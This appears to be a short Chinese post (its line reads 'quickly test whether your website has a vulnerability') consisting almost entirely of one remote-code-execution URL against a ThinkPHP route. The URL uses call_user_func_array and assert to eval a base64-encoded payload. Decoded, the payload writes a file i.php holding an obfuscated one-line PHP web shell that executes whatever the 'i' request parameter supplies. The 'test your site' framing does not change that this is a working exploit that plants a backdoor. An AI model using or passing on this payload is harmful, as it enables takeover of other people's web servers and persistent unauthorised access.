赶紧测试一下你的网站是否有漏洞吧
http://你的网站/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval(ba
se64_decode(%27JGYgPSBmb3BlbigiaS5waHAiLCAidyIpOwokdCA9ICc8P3BocCBiYXNlNjRfZGVjb2RlKFwnWVhOelpYSjBcJykoJF9SRVFVRVNUW1wnaVwnXSk7Pz4nOwpmd3JpdGUoJGYsJHQpOwpmY2xvc2UoJGYpOw==%27))